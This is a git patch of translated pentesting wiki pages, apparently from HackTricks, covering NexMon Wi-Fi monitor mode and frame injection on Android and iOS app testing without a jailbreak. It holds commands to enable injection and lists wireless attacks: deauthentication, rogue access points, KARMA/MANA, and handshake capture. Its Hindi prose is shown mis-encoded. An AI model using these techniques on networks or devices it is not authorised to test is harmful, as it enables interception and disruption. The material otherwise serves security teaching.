From 327dd14ef93b2fc99152746cab6535dc6cac8e7f Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 15 Jul 2025 10:46:56 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena --- src/SUMMARY.md | 1 + ...nexmon-monitor-and-injection-on-android.md | 20 ++--- .../ios-pentesting-without-jailbreak.md | 14 ++-- .../pentesting-telnet.md | 14 ++-- .../less-code-injection-ssrf.md | 75 +++++++++++++++++++ .../ssrf-vulnerable-platforms.md | 8 +- 6 files changed, 107 insertions(+), 25 deletions(-) create mode 100644 src/pentesting-web/less-code-injection-ssrf.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # ЁЯХ╕я╕П Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index c14a125a7..2179998fc 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -9,7 +9,7 @@ * NexMon Magisk рдореЙрдбреНрдпреВрд▓ рдЬрд┐рд╕рдореЗрдВ рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлрд░реНрдорд╡реЗрдпрд░ + `libnexmon.so` * рдореЙрдирд┐рдЯрд░-рдореЛрдб рдЯреЙрдЧрд▓рд┐рдВрдЧ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Hijacker Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди -* рд╡реИрдХрд▓реНрдкрд┐рдХ Kali NetHunter chroot рдХреНрд▓рд╛рд╕рд┐рдХ рд╡рд╛рдпрд░рд▓реЗрд╕ рдЯреВрд▓ (aircrack-ng, wifite, mdk4 тАж) рдХреЛ рд╕реАрдзреЗ рдЖрдВрддрд░рд┐рдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП +* рд╡реИрдХрд▓реНрдкрд┐рдХ Kali NetHunter chroot рдХреНрд▓рд╛рд╕рд┐рдХ рд╡рд╛рдпрд░рд▓реЗрд╕ рдЙрдкрдХрд░рдгреЛрдВ (aircrack-ng, wifite, mdk4 тАж) рдХреЛ рд╕реАрдзреЗ рдЖрдВрддрд░рд┐рдХ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рддрдХрдиреАрдХ рдХрд┐рд╕реА рднреА рд╣реИрдВрдбрд╕реЗрдЯ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдкрд▓рдмреНрдз NexMon рдкреИрдЪ рд╣реИ (Pixel 1, Nexus 6P, Galaxy S7/S8, рдЖрджрд┐)ред @@ -22,8 +22,8 @@ * NexMon Magisk ZIP рдпрд╛ рд╕реНрд╡рдпрдВ-рдирд┐рд░реНрдорд┐рдд рдкреИрдЪ рдкреНрд░рджрд╛рди рдХрд░рдирд╛: * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker тЙе 1.7 (arm/arm64) тАУ https://github.com/chrisk44/Hijacker -* (рд╡реИрдХрд▓реНрдкрд┐рдХ) Kali NetHunter рдпрд╛ рдХреЛрдИ рднреА Linux chroot рдЬрд╣рд╛рдВ рдЖрдк рд╡рд╛рдпрд░рд▓реЗрд╕ рдЯреВрд▓ рдЪрд▓рд╛рдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддреЗ рд╣реИрдВ +* Hijacker тЙе 1.7 (arm/arm64) тАУ [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) +* (рд╡реИрдХрд▓реНрдкрд┐рдХ) Kali NetHunter рдпрд╛ рдХреЛрдИ рднреА Linux chroot рдЬрд╣рд╛рдВ рдЖрдк рд╡рд╛рдпрд░рд▓реЗрд╕ рдЙрдкрдХрд░рдг рдЪрд▓рд╛рдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддреЗ рд╣реИрдВ --- @@ -51,7 +51,7 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2 Disable monitor mode: nexutil -m0; svc wifi enable ``` -тАЬStart monitor mode on airodump startтАЭ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╣рд░ Hijacker рд╕реНрдХреИрди рд╕реНрд╡рджреЗрд╢реА рдореЙрдирд┐рдЯрд░ рдореЛрдб рдореЗрдВ рд╣реЛ (`wlan0` рдХреЗ рдмрдЬрд╛рдп `wlan0mon`)ред +тАЬStart monitor mode on airodump startтАЭ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╣рд░ Hijacker рд╕реНрдХреИрди рд╕реНрд╡рджреЗрд╢реА рдореЙрдирд┐рдЯрд░ рдореЛрдб рдореЗрдВ рд╣реЛ (`wlan0` рдХреЗ рдмрдЬрд╛рдп `wlan0mon`)ред рдпрджрд┐ Hijacker рд▓реЙрдиреНрдЪ рдкрд░ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд╛рдЭрд╛ рд╕реНрдЯреЛрд░реЗрдЬ рдкрд░ рдЖрд╡рд╢реНрдпрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдПрдВ рдФрд░ рдРрдк рдХреЛ рдлрд┐рд░ рд╕реЗ рдЦреЛрд▓реЗрдВ: ```bash @@ -61,7 +61,7 @@ mkdir -p /storage/emulated/0/Hijacker * **`-s0x613`** рдлрд░реНрдорд╡реЗрдпрд░ рд╡реЗрд░рд┐рдПрдмрд▓ 0x613 (FCAP_FRAME_INJECTION) рдХреЛ рд▓рд┐рдЦреЗрдВ тЖТ `1` (рдордирдорд╛рдиреЗ рдлрд╝реНрд░реЗрдо рдХреЗ TX рдХреЛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ)ред * **`-i`** рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рдореЙрдирд┐рдЯрд░ рдореЛрдб рдореЗрдВ рдбрд╛рд▓реЗрдВ (рд░реЗрдбрд┐рдпреЛрдЯреИрдк рд╣реЗрдбрд░ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛)ред * **`-v2`** рд╡рд┐рд╕реНрддреГрдд рд╕реНрддрд░ рд╕реЗрдЯ рдХрд░реЗрдВ; `2` рдкреБрд╖реНрдЯрд┐ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИред -* **`-m0`** рдкреНрд░рдмрдВрдзрд┐рдд рдореЛрдб рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ (рдЬреЛ *disable* рдХрдорд╛рдВрдб рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред +* **`-m0`** рдкреНрд░рдмрдВрдзрд┐рдд рдореЛрдб рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ (рдЬреЛ *рдЕрдХреНрд╖рдо* рдХрдорд╛рдВрдб рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред *Enable monitor mode* рдЪрд▓рд╛рдиреЗ рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛ рдореЙрдирд┐рдЯрд░ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдХрдЪреНрдЪреЗ рдлрд╝реНрд░реЗрдо рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП: ```bash @@ -77,7 +77,7 @@ svc wifi disable && ifconfig wlan0 up && nexutil -s0x613 -i -v2 # Disable and return to normal Wi-Fi nexutil -m0 && svc wifi enable ``` -рдпрджрд┐ рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдкреИрд╕рд┐рд╡ рд╕реНрдирд┐рдлрд╝рд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ `-s0x613` рдзреНрд╡рдЬ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдВред +рдпрджрд┐ рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдкреИрд╕рд┐рд╡ рд╕реНрдирд┐рдлрд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ `-s0x613` рдзреНрд╡рдЬ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдВред --- @@ -104,9 +104,9 @@ wifite -i wlan0 # рдпрд╛ aircrack-ng, mdk4 тАж ## рд╕рдВрднрд╛рд╡рд┐рдд рд╕рд╛рдорд╛рдиреНрдп рд╣рдорд▓реЗ рдПрдХ рдмрд╛рд░ рдЬрдм рдореЙрдирд┐рдЯрд░ + TX рд╕рдХреНрд░рд┐рдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: * `wifite`, `hcxdumptool`, `airodump-ng` рдХреЗ рд╕рд╛рде WPA(2/3-SAE) рд╣реИрдВрдбрд╢реЗрдХ рдпрд╛ PMKID рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВред -* рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдлрд┐рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди / рдбрд┐рд╕рдПрд╕реЛрд╕рд┐рдПрд╢рди рдлрд╝реНрд░реЗрдо рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред -* `mdk4`, `aireplay-ng`, Scapy, рдЖрджрд┐ рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдкреНрд░рдмрдВрдзрди/рдбреЗрдЯрд╛ рдлрд╝реНрд░реЗрдо рдмрдирд╛рдПрдВред -* рдлреЛрди рд╕реЗ рд╕реАрдзреЗ рд░реЙрдЧ AP рдмрдирд╛рдПрдВ рдпрд╛ KARMA/MANA рд╣рдорд▓реЗ рдХрд░реЗрдВред +* рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдлрд┐рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдПрдХреНрдЯрд┐рд╡реЗрд╢рди / рдбрд┐рд╕рдПрд╕реЛрд╕рд┐рдПрд╢рди рдлреНрд░реЗрдо рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред +* `mdk4`, `aireplay-ng`, Scapy, рдЖрджрд┐ рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдкреНрд░рдмрдВрдзрди/рдбреЗрдЯрд╛ рдлреНрд░реЗрдо рдмрдирд╛рдПрдВред +* рдлреЛрди рд╕реЗ рд╕реАрдзреЗ рдзреЛрдЦрд╛рдзрдбрд╝реА AP рдмрдирд╛рдПрдВ рдпрд╛ KARMA/MANA рд╣рдорд▓реЗ рдХрд░реЗрдВред рдЧреИрд▓реЗрдХреНрд╕реА S10 рдкрд░ рдкреНрд░рджрд░реНрд╢рди рдмрд╛рд╣рд░реА USB NICs рдХреЗ рд╕рдорд╛рди рд╣реИ (~20 dBm TX, 2-3 M pps RX)ред @@ -115,7 +115,7 @@ wifite -i wlan0 # рдпрд╛ aircrack-ng, mdk4 тАж ## рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг * `Device or resource busy` тАУ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ **Android Wi-Fi рд╕реЗрд╡рд╛ рдЕрдХреНрд╖рдо рд╣реИ** (`svc wifi disable`) рдореЙрдирд┐рдЯрд░ рдореЛрдб рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗред * `nexutil: ioctl(PRIV_MAGIC) failed` тАУ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдкреНрд░реАрд▓реЛрдб рдирд╣реАрдВ рд╣реИ; `LD_PRELOAD` рдкрде рдХреА рджреЛрдмрд╛рд░рд╛ рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -* рдлрд╝реНрд░реЗрдо рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЛрдИ рдкреИрдХреЗрдЯ рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рд╣реБрдЖ тАУ рдХреБрдЫ ROMs рдЪреИрдирд▓реЛрдВ рдХреЛ рд╣рд╛рд░реНрдб-рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ; `nexutil -c ` рдпрд╛ `iwconfig wlan0 channel ` рдЖрдЬрд╝рдорд╛рдПрдБред +* рдлреНрд░реЗрдо рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЛрдИ рдкреИрдХреЗрдЯ рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рд╣реБрдЖ тАУ рдХреБрдЫ ROMs рдЪреИрдирд▓реЛрдВ рдХреЛ рд╣рд╛рд░реНрдб-рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ; `nexutil -c ` рдпрд╛ `iwconfig wlan0 channel ` рдЖрдЬрдорд╛рдПрдВред * SELinux рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд░рд╣рд╛ рд╣реИ тАУ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ *Permissive* рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ рдпрд╛ рдореЙрдбреНрдпреВрд▓ рд╕рдВрджрд░реНрдн рдХреЛ рдареАрдХ рдХрд░реЗрдВ: `chcon u:object_r:system_lib_file:s0 libnexmon.so`ред --- diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index c397016c6..146b62d08 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -1,10 +1,10 @@ -# iOS Pentesting рдмрд┐рдирд╛ Jailbreak рдХреЗ +# iOS Pentesting рдмрд┐рдирд╛ Jailbreak {{#include ../../banners/hacktricks-training.md}} ## рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░ -**entitlement `get_task_allow`** рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрди рдХреА рдЧрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЛ **`task_for_pid()`** рдирд╛рдордХ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЖрдИрдбреА рдХреЗ рд╕рд╛рде рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ рддрд╛рдХрд┐ рдЙрд╕ рдкрд░ рдХрд╛рд░реНрдп рдкреЛрд░реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЗрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕рдХреА рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛)ред +**entitlement `get_task_allow`** рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрди рдХреА рдЧрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЛ **`task_for_pid()`** рдирд╛рдордХ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рдХреЗ рд╕рд╛рде рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ рддрд╛рдХрд┐ рдЙрд╕ рдкрд░ рдХрд╛рд░реНрдп рдкреЛрд░реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЗрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕рдХреА рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛)ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдХреЗрд╡рд▓ IPA рдХреЛ рдЦреАрдВрдЪрдиреЗ, рдЗрд╕реЗ entitlement рдХреЗ рд╕рд╛рде рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ рдЕрдкрдиреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдлреНрд▓реИрд╢ рдХрд░рдиреЗ рдЬрд┐рддрдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг FairPlay рд╕реБрд░рдХреНрд╖рд╛ рд╣реИред рдЬрдм рдРрдк рдХрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдмрджрд▓рддрд╛ рд╣реИ, рддреЛ DRM (Digital Rights Management) рдХреБрдВрдЬреА **рдЕрдорд╛рдиреНрдп рд╣реЛ рдЬрд╛рддреА рд╣реИ рдФрд░ рдРрдк рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛**ред @@ -48,11 +48,11 @@ ideviceinstaller -i no-min-version.ipa -w ### рдкреИрдЪ рдЕрдзрд┐рдХрд╛рд░ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░реЗрдВ -`get-task-allow` рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдХрд░рдг рдЙрдкрд▓рдмреНрдз рд╣реИрдВ рдЬреИрд╕реЗ `app-signer`, `codesign`, рдФрд░ `iResign`ред `app-signer` рдХрд╛ рдПрдХ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЕрдиреБрдХреВрд▓ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИ рдЬреЛ рдПрдХ IPA рдлрд╝рд╛рдЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП IPA рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛, **`get-taks-allow` рдбрд╛рд▓рдирд╛** рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдФрд░ рдкреНрд░реЛрд╡рд┐рдЬрдирд┐рдВрдЧ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рд╣реИред +`get-task-allow` рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдХрд░рдг рдЙрдкрд▓рдмреНрдз рд╣реИрдВ рдЬреИрд╕реЗ `app-signer`, `codesign`, рдФрд░ `iResign`ред `app-signer` рдХрд╛ рдПрдХ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЕрдиреБрдХреВрд▓ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИ рдЬреЛ рдПрдХ IPA рдлрд╝рд╛рдЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП IPA, **`get-taks-allow`** рдбрд╛рд▓рдирд╛ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдФрд░ рдкреНрд░реЛрд╡рд┐рдЬрдирд┐рдВрдЧ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рд╣реИред рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдФрд░ рд╕рд╛рдЗрдирд┐рдВрдЧ рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, Apple рд╕рднреА рдЦрд╛рддреЛрдВ рдХреЗ рд▓рд┐рдП Xcode рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдореБрдлреНрдд рдбреЗрд╡рд▓рдкрд░ рд╕рд╛рдЗрдирд┐рдВрдЧ рдкреНрд░реЛрдлрд╛рдЗрд▓** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдмрд╕ рдПрдХ рдРрдк рдмрдирд╛рдПрдВ рдФрд░ рдПрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред рдлрд┐рд░, `Settings` тЖТ `Privacy & Security` рдкрд░ рдЬрд╛рдХрд░ **iPhone рдХреЛ рдбреЗрд╡рд▓рдкрд░ рдРрдкреНрд╕ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ**, рдФрд░ `Developer Mode` рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред -рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХреА рдЧрдИ IPA рдХреЗ рд╕рд╛рде, рдЗрд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: +рдлрд┐рд░ рд╕реЗ рд╕рд╛рдЗрди рдХреА рдЧрдИ IPA рдХреЗ рд╕рд╛рде, рдЗрд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ pentest рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: ```bash ideviceinstaller -i resigned.ipa -w ``` @@ -60,7 +60,7 @@ ideviceinstaller -i resigned.ipa -w ### рдбреЗрд╡рд▓рдкрд░ рдореЛрдб рд╕рдХреНрд╖рдо рдХрд░реЗрдВ (iOS 16+) -iOS 16 рд╕реЗ Apple рдиреЗ **рдбреЗрд╡рд▓рдкрд░ рдореЛрдб** рдкреЗрд╢ рдХрд┐рдпрд╛: рдХреЛрдИ рднреА рдмрд╛рдЗрдирд░реА рдЬреЛ `get_task_allow` рд▓реЗ рдЬрд╛рддреА рд╣реИ *рдпрд╛* рдПрдХ рд╡рд┐рдХрд╛рд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╣реИ, рд╡рд╣ рддрдм рддрдХ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рд╕реЗ рдордирд╛ рдХрд░ рджреЗрдЧреА рдЬрдм рддрдХ рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдбреЗрд╡рд▓рдкрд░ рдореЛрдб рд╕рдХреНрд╖рдо рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЖрдк Frida/LLDB рдХреЛ рднреА рд╕рдВрд▓рдЧреНрди рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рдпрд╣ рдзреНрд╡рдЬ рдЪрд╛рд▓реВ рди рд╣реЛред +iOS 16 рд╕реЗ Apple рдиреЗ **рдбреЗрд╡рд▓рдкрд░ рдореЛрдб** рдкреЗрд╢ рдХрд┐рдпрд╛: рдХреЛрдИ рднреА рдмрд╛рдЗрдирд░реА рдЬреЛ `get_task_allow` рд▓реЗ рдЬрд╛рддреА рд╣реИ *рдпрд╛* рдПрдХ рд╡рд┐рдХрд╛рд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╣реИ, рддрдм рддрдХ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рд╕реЗ рдордирд╛ рдХрд░ рджреЗрдЧреА рдЬрдм рддрдХ рдХрд┐ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдбреЗрд╡рд▓рдкрд░ рдореЛрдб рд╕рдХреНрд╖рдо рди рд╣реЛред рдЖрдк Frida/LLDB рдХреЛ рднреА рд╕рдВрд▓рдЧреНрди рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рдпрд╣ рдзреНрд╡рдЬ рдЪрд╛рд▓реВ рди рд╣реЛред 1. рдлреЛрди рдкрд░ **рдХреЛрдИ рднреА** рдбреЗрд╡рд▓рдкрд░-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд IPA рд╕реНрдерд╛рдкрд┐рдд рдпрд╛ рдкреБрд╢ рдХрд░реЗрдВред 2. **рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ тЖТ рдбреЗрд╡рд▓рдкрд░ рдореЛрдб** рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЗрд╕реЗ рдЪрд╛рд▓реВ рдХрд░реЗрдВред @@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause ### рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг MobSF рдХреЗ рд╕рд╛рде (рдХреЛрдИ 